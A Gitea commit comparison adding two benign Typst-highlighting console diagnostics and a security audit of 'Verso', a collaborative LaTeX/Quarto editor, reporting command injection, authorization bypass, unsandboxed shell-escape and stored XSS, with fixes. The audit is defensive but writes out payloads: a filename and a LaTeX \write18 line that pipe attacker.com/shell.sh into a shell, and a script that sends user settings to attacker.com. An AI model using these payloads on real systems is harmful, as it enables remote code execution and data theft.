Compare commits
11 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 952c897760 | |||
| 713aa70c52 | |||
| 3e0188b66d | |||
| 8c9a610f0d | |||
| 6496e9133d | |||
| 5fcf4bb262 | |||
| 8e6e9eded0 | |||
| 33c830b594 | |||
| f36dbd12e9 | |||
| c65bb80512 | |||
| 031f65224c |
@@ -0,0 +1,43 @@
|
|||||||
|
/**
|
||||||
|
* Typst syntax highlighting diagnostics.
|
||||||
|
* Paste into browser dev tools console with a Typst file open.
|
||||||
|
*/
|
||||||
|
|
||||||
|
// ── Part 1: CSS token counts (no view needed) ────────────────────────────
|
||||||
|
// If all are 0, the language mode is not being applied at all.
|
||||||
|
console.log('=== Token CSS class counts ===')
|
||||||
|
;['heading','comment','keyword','string','number',
|
||||||
|
'variableName','function','emphasis','strong'].forEach(t => {
|
||||||
|
const n = document.querySelectorAll('.tok-' + t).length
|
||||||
|
console.log(` .tok-${t}: ${n}`)
|
||||||
|
})
|
||||||
|
|
||||||
|
// ── Part 2: Try to get the parse tree ────────────────────────────────────
|
||||||
|
// CodeMirror 6 stores DocView on .cm-content; DocView.view = EditorView
|
||||||
|
const content = document.querySelector('.cm-content')
|
||||||
|
const view = content?.cmView?.view
|
||||||
|
|
||||||
|
if (!view?.state) {
|
||||||
|
console.warn('Could not find EditorView — parse tree unavailable')
|
||||||
|
console.log('Keys on .cm-content:', Object.keys(content ?? {}).join(', '))
|
||||||
|
} else {
|
||||||
|
console.log('\n=== Parse tree (top 600 chars) ===')
|
||||||
|
console.log(view.state.tree.toString().slice(0, 600))
|
||||||
|
|
||||||
|
// First heading line
|
||||||
|
const doc = view.state.doc
|
||||||
|
for (let ln = 1; ln <= Math.min(doc.lines, 25); ln++) {
|
||||||
|
const line = doc.line(ln)
|
||||||
|
if (line.text.trimStart().startsWith('=')) {
|
||||||
|
console.log(`\n=== Nodes on heading line ${ln}: "${line.text}" ===`)
|
||||||
|
view.state.tree.iterate({
|
||||||
|
from: line.from, to: line.to,
|
||||||
|
enter(node) {
|
||||||
|
const t = doc.sliceString(node.from, node.to)
|
||||||
|
console.log(` ${node.name}: ${JSON.stringify(t.slice(0, 50))}`)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,259 @@
|
|||||||
|
# Verso Alpha-3 Security Audit
|
||||||
|
|
||||||
|
**Date:** 2026-06-19
|
||||||
|
**Branch audited:** `main` (full codebase)
|
||||||
|
**Method:** multi-agent automated review + manual false-positive filtering
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
| # | Title | Severity | Confidence |
|
||||||
|
|---|-------|----------|------------|
|
||||||
|
| 1 | Shell injection via filename → RCE on CLSI | **HIGH** | 9/10 |
|
||||||
|
| 2 | Read-only collaborator can publish / unpublish / rotate tokens | **HIGH** | 9/10 |
|
||||||
|
| 3 | LaTeX `shell-escape` enabled without sandbox in production | **HIGH** | 9/10 |
|
||||||
|
| 4 | Published presentations served without CSP (stored XSS on origin) | **MEDIUM** | 9/10 |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Vuln 1 — Command Injection via Filename → RCE on CLSI
|
||||||
|
|
||||||
|
**Files:**
|
||||||
|
- `services/clsi/app/js/QuartoRunner.js` (lines 102–147)
|
||||||
|
- `services/clsi/app/js/TypstRunner.js` (lines 139–141, 399–400)
|
||||||
|
|
||||||
|
**Category:** `command_injection` / `rce`
|
||||||
|
**Severity:** HIGH | **Confidence:** 9/10
|
||||||
|
|
||||||
|
### Description
|
||||||
|
|
||||||
|
`renderTarget` / `mainFile` (the project's root resource path) is interpolated directly into a shell command string passed to `/bin/sh -c` without any quoting or escaping:
|
||||||
|
|
||||||
|
```js
|
||||||
|
// QuartoRunner.js ~line 102
|
||||||
|
const baseName = renderTarget.replace(/\.[^/.]+$/, '')
|
||||||
|
// …passed to /bin/sh -c:
|
||||||
|
`quarto render $COMPILE_DIR/${renderTarget} 2>&1 && mv ${baseName}.pdf output.pdf`
|
||||||
|
`; rm -rf ${baseName}.qmd ${baseName}_files`
|
||||||
|
```
|
||||||
|
|
||||||
|
```js
|
||||||
|
// TypstRunner.js ~line 140 — double quotes do NOT prevent $() or backtick expansion
|
||||||
|
['/bin/sh', '-c', `typst watch "${absInput}" "${absOutput}" 2>&1`]
|
||||||
|
|
||||||
|
// TypstRunner.js ~line 399 — completely unquoted
|
||||||
|
['/bin/sh', '-c', `typst compile $COMPILE_DIR/${mainFile} output.pdf 2>&1`]
|
||||||
|
```
|
||||||
|
|
||||||
|
`SafePath.isCleanFilename()` (`SafePath.mjs` lines 24–37) only blocks `/`, `\`, `*`, and control characters. Shell metacharacters — `$`, `` ` ``, `(`, `)`, `;`, `&`, `|` — all pass through unchecked. The CLSI's own `_checkPath()` only rejects `..` path traversal.
|
||||||
|
|
||||||
|
### Exploit Scenario
|
||||||
|
|
||||||
|
Any project collaborator renames their root file to:
|
||||||
|
|
||||||
|
```
|
||||||
|
foo$(curl https://attacker.com/shell.sh|sh).qmd
|
||||||
|
```
|
||||||
|
|
||||||
|
Triggering a compile executes the injected command unsandboxed inside the CLSI container as the host process user.
|
||||||
|
|
||||||
|
### Fix
|
||||||
|
|
||||||
|
Use an args array instead of `/bin/sh -c` with a concatenated string:
|
||||||
|
|
||||||
|
```js
|
||||||
|
// Instead of:
|
||||||
|
spawn('/bin/sh', ['-c', `quarto render ${renderTarget} ...`])
|
||||||
|
|
||||||
|
// Use:
|
||||||
|
spawn('quarto', ['render', absRenderTarget, '--to', 'pdf'])
|
||||||
|
```
|
||||||
|
|
||||||
|
For cases where a shell string is unavoidable, single-quote the variable: `'${renderTarget}'` (single quotes prevent all shell expansion). The safest fix is removing all three `/bin/sh -c templateString` invocations in favour of direct `spawn` with an explicit args array.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Vuln 2 — Authorization Bypass: Read-Only Collaborators Can Publish / Unpublish / Rotate Tokens
|
||||||
|
|
||||||
|
**File:** `services/web/app/src/router.mjs` (lines 697–710)
|
||||||
|
|
||||||
|
**Category:** `authorization_bypass` / `privilege_escalation`
|
||||||
|
**Severity:** HIGH | **Confidence:** 9/10
|
||||||
|
|
||||||
|
### Description
|
||||||
|
|
||||||
|
Three destructive presentation endpoints are gated on `ensureUserCanReadProject` instead of `ensureUserCanAdminProject`:
|
||||||
|
|
||||||
|
```js
|
||||||
|
webRouter.post('/project/:Project_id/publish-presentation',
|
||||||
|
AuthorizationMiddleware.ensureUserCanReadProject, // ← should be ensureUserCanAdminProject
|
||||||
|
PublishedPresentationController.publish)
|
||||||
|
|
||||||
|
webRouter.post('/project/:Project_id/publish-presentation/regenerate',
|
||||||
|
AuthorizationMiddleware.ensureUserCanReadProject, // ← should be ensureUserCanAdminProject
|
||||||
|
PublishedPresentationController.regenerate)
|
||||||
|
|
||||||
|
webRouter.delete('/project/:Project_id/publish-presentation',
|
||||||
|
AuthorizationMiddleware.ensureUserCanReadProject, // ← should be ensureUserCanAdminProject
|
||||||
|
PublishedPresentationController.unpublish)
|
||||||
|
```
|
||||||
|
|
||||||
|
`canUserReadProject` returns `true` for the `READ_ONLY` privilege level (`AuthorizationManager.mjs` lines 260–276), which is granted to any read-only collaborator and to anonymous users holding a read-only token link. `canUserAdminProject` requires `OWNER` only.
|
||||||
|
|
||||||
|
### Exploit Scenario
|
||||||
|
|
||||||
|
User A shares a project read-only with User B. User B can:
|
||||||
|
|
||||||
|
1. **`DELETE /publish-presentation`** — permanently take down the owner's published presentation
|
||||||
|
2. **`POST /publish-presentation/regenerate`** — rotate the public/login/member share token, breaking all existing links
|
||||||
|
3. **`POST /publish-presentation`** — force a recompile and overwrite the published snapshot
|
||||||
|
|
||||||
|
### Fix
|
||||||
|
|
||||||
|
```js
|
||||||
|
// Change all three routes — replace:
|
||||||
|
AuthorizationMiddleware.ensureUserCanReadProject
|
||||||
|
// with:
|
||||||
|
AuthorizationMiddleware.ensureUserCanAdminProject
|
||||||
|
```
|
||||||
|
|
||||||
|
One-line fix per route. This is the highest-priority fix because it requires no architectural change.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Vuln 3 — LaTeX `shell-escape` Enabled Without Sandbox in Production (RCE)
|
||||||
|
|
||||||
|
**Files:**
|
||||||
|
- `.gitea/workflows/deploy-verso-prod.yml` (lines 332–333)
|
||||||
|
- `services/clsi/app/js/LatexRunner.js` (lines 200–202)
|
||||||
|
- `services/clsi/app/js/CommandRunner.js` (lines 12–16)
|
||||||
|
|
||||||
|
**Category:** `rce` / `insecure_configuration`
|
||||||
|
**Severity:** HIGH | **Confidence:** 9/10
|
||||||
|
|
||||||
|
### Description
|
||||||
|
|
||||||
|
The production Kubernetes deployment sets `OVERLEAF_LATEX_SHELL_ESCAPE: "true"` with neither `SANDBOXED_COMPILES` nor `DOCKER_RUNNER` configured. This passes `-shell-escape` to every latexmk invocation globally, for all users, with no per-user or per-project gating:
|
||||||
|
|
||||||
|
```js
|
||||||
|
// LatexRunner.js lines 200–202
|
||||||
|
if (Settings.clsi?.latexShellEscape) {
|
||||||
|
command.push('-shell-escape') // unconditional — applies to all users/projects
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Without `DOCKER_RUNNER=true`, `CommandRunner.js` selects `LocalCommandRunner` — compiles run as the host process with full container filesystem access. The reference `docker-compose.yml` *does* configure sandboxed compiles (`SANDBOXED_COMPILES: true`, `DOCKER_RUNNER: true`); the production K8s deployment simply omits them.
|
||||||
|
|
||||||
|
The compile endpoint requires only `ensureUserCanReadProject`, so any holder of a read-only share link can trigger a compile.
|
||||||
|
|
||||||
|
### Exploit Scenario
|
||||||
|
|
||||||
|
Any user with read-only access to any project uploads or edits a `.tex` file containing:
|
||||||
|
|
||||||
|
```latex
|
||||||
|
\immediate\write18{curl https://attacker.com/shell.sh | bash}
|
||||||
|
```
|
||||||
|
|
||||||
|
Triggering a compile executes the command unsandboxed, with access to all mounted volumes (source files, Redis socket, compile output).
|
||||||
|
|
||||||
|
### Fix (two steps)
|
||||||
|
|
||||||
|
**Step 1 — Short term:** Remove `OVERLEAF_LATEX_SHELL_ESCAPE: "true"` from `.gitea/workflows/deploy-verso-prod.yml`. Disable shell-escape entirely unless there is a specific, per-project need.
|
||||||
|
|
||||||
|
**Step 2 — Medium term:** Add sandboxed compile configuration to the production deployment, mirroring the reference `docker-compose.yml`:
|
||||||
|
|
||||||
|
```yaml
|
||||||
|
- name: SANDBOXED_COMPILES
|
||||||
|
value: "true"
|
||||||
|
- name: DOCKER_RUNNER
|
||||||
|
value: "true"
|
||||||
|
```
|
||||||
|
|
||||||
|
This contains the blast radius of any future compile-path vulnerability regardless of shell-escape status.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Vuln 4 — Stored XSS via Published Presentations (CSP Removed on Main Origin)
|
||||||
|
|
||||||
|
**File:** `services/web/app/src/Features/PublishedPresentation/PublishedPresentationController.mjs` (line 116)
|
||||||
|
|
||||||
|
**Category:** `xss` / `stored`
|
||||||
|
**Severity:** MEDIUM | **Confidence:** 9/10
|
||||||
|
|
||||||
|
### Description
|
||||||
|
|
||||||
|
The published-presentation handler explicitly removes the Content-Security-Policy header before serving the raw HTML output:
|
||||||
|
|
||||||
|
```js
|
||||||
|
res.removeHeader('Content-Security-Policy') // line 116
|
||||||
|
res.sendFile(target, ...) // serves output.html / index.html directly
|
||||||
|
```
|
||||||
|
|
||||||
|
The file served is the raw Quarto/reveal.js compile output — not a sanitized template. Since users control the `.qmd` source entirely, arbitrary `<script>` blocks can be embedded. The `/p/:token` routes are registered on the same `webRouter` as the main app, so scripts execute with **full same-origin privileges** against the Verso application origin.
|
||||||
|
|
||||||
|
### Impact
|
||||||
|
|
||||||
|
- Any visitor to a `publicToken` link has the script execute in their browser (no login required to be targeted)
|
||||||
|
- `fetch()` calls from the same origin automatically include the session cookie, bypassing `httpOnly`
|
||||||
|
- A script can call the `/dev/csrf` endpoint to obtain a valid CSRF token, then call any mutating POST/DELETE API endpoint as the victim (read/write projects, change email, delete account, exfiltrate documents)
|
||||||
|
|
||||||
|
### Exploit Scenario
|
||||||
|
|
||||||
|
1. Attacker creates a Quarto project with a slide containing:
|
||||||
|
```html
|
||||||
|
<script>
|
||||||
|
fetch('/user/settings', {credentials: 'include'})
|
||||||
|
.then(r => r.json())
|
||||||
|
.then(d => fetch('https://attacker.com/?d=' + btoa(JSON.stringify(d))))
|
||||||
|
</script>
|
||||||
|
```
|
||||||
|
2. Compiles and publishes → obtains the `publicToken` URL
|
||||||
|
3. Shares the link with a victim
|
||||||
|
4. Victim visits the link → script executes on the Verso origin → authenticated API calls made on victim's behalf
|
||||||
|
|
||||||
|
### Fix
|
||||||
|
|
||||||
|
The correct fix is to **serve published presentations from an isolated subdomain** (e.g., `decks.verso.example.com`) with no session cookie access, so embedded scripts are origin-isolated from the main app.
|
||||||
|
|
||||||
|
As a stopgap, apply a restricted CSP instead of removing it entirely:
|
||||||
|
|
||||||
|
```js
|
||||||
|
// Instead of:
|
||||||
|
res.removeHeader('Content-Security-Policy')
|
||||||
|
|
||||||
|
// Apply a presentation-specific policy:
|
||||||
|
res.setHeader('Content-Security-Policy',
|
||||||
|
"default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; connect-src 'none'")
|
||||||
|
```
|
||||||
|
|
||||||
|
`connect-src 'none'` blocks `fetch()`/XHR exfiltration even if inline scripts run.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Items Reviewed and Not Flagged
|
||||||
|
|
||||||
|
| Area | Finding |
|
||||||
|
|------|---------|
|
||||||
|
| MongoDB queries | No raw `req.body` interpolation; Mongoose used throughout |
|
||||||
|
| CSRF protection | `csurf` middleware applied globally; no Verso-added bypass found |
|
||||||
|
| `dangerouslySetInnerHTML` | Only in operator-controlled footer (env-var source, not user input) |
|
||||||
|
| `DOMPurify` usage | `labs-description.tsx` uses it correctly with a strict allowlist |
|
||||||
|
| Hardcoded credentials | `dev.env` has weak defaults; production uses auto-generated secrets from `100_generate_secrets.sh` |
|
||||||
|
| Open redirects | `getSafeRedirectPath` strips to pathname only; no exploitable chain found |
|
||||||
|
| SSRF (URL agent) | Proxied through `linkedUrlProxy`; host allowlisting in place |
|
||||||
|
| Path traversal in `serve()` | `path.resolve` + `startsWith` guard is correct |
|
||||||
|
| Session secret | Auto-generated at init, stored in `/etc/container_environment/CRYPTO_RANDOM` |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Recommended Fix Priority for Alpha-3
|
||||||
|
|
||||||
|
| Priority | Finding | Effort |
|
||||||
|
|----------|---------|--------|
|
||||||
|
| 1 | **Vuln 2** — wrong auth middleware on 3 routes | ~5 min, 3-line fix |
|
||||||
|
| 2 | **Vuln 3** — remove `shell-escape` from prod deploy | ~5 min, remove 2 lines from YAML |
|
||||||
|
| 3 | **Vuln 1** — fix quoting in QuartoRunner + TypstRunner | ~1 hour, refactor spawn calls |
|
||||||
|
| 4 | **Vuln 4** — XSS via presentations | Hours–days; subdomain isolation is the real fix |
|
||||||
|
|
||||||
|
Vulns 1–3 are straightforward enough to fix before shipping alpha-3. Vuln 4 can be mitigated with the `connect-src 'none'` CSP header as a stopgap and tracked as a post-alpha-3 architectural item.
|
||||||
BIN
Binary file not shown.
|
After Width: | Height: | Size: 88 KiB |
BIN
Binary file not shown.
|
After Width: | Height: | Size: 95 KiB |
BIN
Binary file not shown.
|
After Width: | Height: | Size: 102 KiB |
@@ -0,0 +1,52 @@
|
|||||||
|
// Typst bold/italic parse-tree diagnostic
|
||||||
|
// Open a Typst document that contains *bold* and _italic_ text,
|
||||||
|
// then paste this whole block into the browser console.
|
||||||
|
|
||||||
|
(function () {
|
||||||
|
const strong = [...document.querySelectorAll('.tok-strong')]
|
||||||
|
const emphasis = [...document.querySelectorAll('.tok-emphasis')]
|
||||||
|
|
||||||
|
console.group('=== Typst bold/italic diagnostic ===')
|
||||||
|
|
||||||
|
console.log('tok-strong count :', strong.length)
|
||||||
|
console.log('tok-emphasis count:', emphasis.length)
|
||||||
|
|
||||||
|
if (strong.length) {
|
||||||
|
console.log('tok-strong text :', strong.map(s => JSON.stringify(s.textContent)))
|
||||||
|
}
|
||||||
|
if (emphasis.length) {
|
||||||
|
console.log('tok-emphasis text :', emphasis.map(s => JSON.stringify(s.textContent)))
|
||||||
|
}
|
||||||
|
|
||||||
|
// Interpret results
|
||||||
|
if (strong.length === 0 && emphasis.length === 0) {
|
||||||
|
console.warn(
|
||||||
|
'RESULT: Grammar is NOT producing Strong/Emphasis nodes.',
|
||||||
|
'This is a LALR state-merge bug — needs a grammar fix.'
|
||||||
|
)
|
||||||
|
} else {
|
||||||
|
const strongText = strong.map(s => s.textContent).join('')
|
||||||
|
const emphText = emphasis.map(s => s.textContent).join('')
|
||||||
|
const hasMidStrong = strong.length > 2 // more than just the two * delimiters
|
||||||
|
const hasMidEmph = emphasis.length > 2
|
||||||
|
|
||||||
|
if (hasMidStrong || hasMidEmph) {
|
||||||
|
console.info(
|
||||||
|
'RESULT: Grammar IS producing Strong/Emphasis nodes (content inside delimiters is styled).',
|
||||||
|
'Bold/italic not visible? Issue is the loaded font — Source Code Pro only has Regular (400).',
|
||||||
|
'Fix: switch editor font to DM Mono (which has actual Italic + Medium faces).',
|
||||||
|
'Or: load Source Code Pro Bold/Italic font files.'
|
||||||
|
)
|
||||||
|
} else {
|
||||||
|
console.warn(
|
||||||
|
'RESULT: Partial — only the delimiters (* or _) are styled, not the text between them.',
|
||||||
|
'StrongText/EmphText nodes are missing. Needs a grammar fix.'
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
console.log('all strong text joined :', JSON.stringify(strongText))
|
||||||
|
console.log('all emphasis text joined:', JSON.stringify(emphText))
|
||||||
|
}
|
||||||
|
|
||||||
|
console.groupEnd()
|
||||||
|
})()
|
||||||
Reference in New Issue
Block a user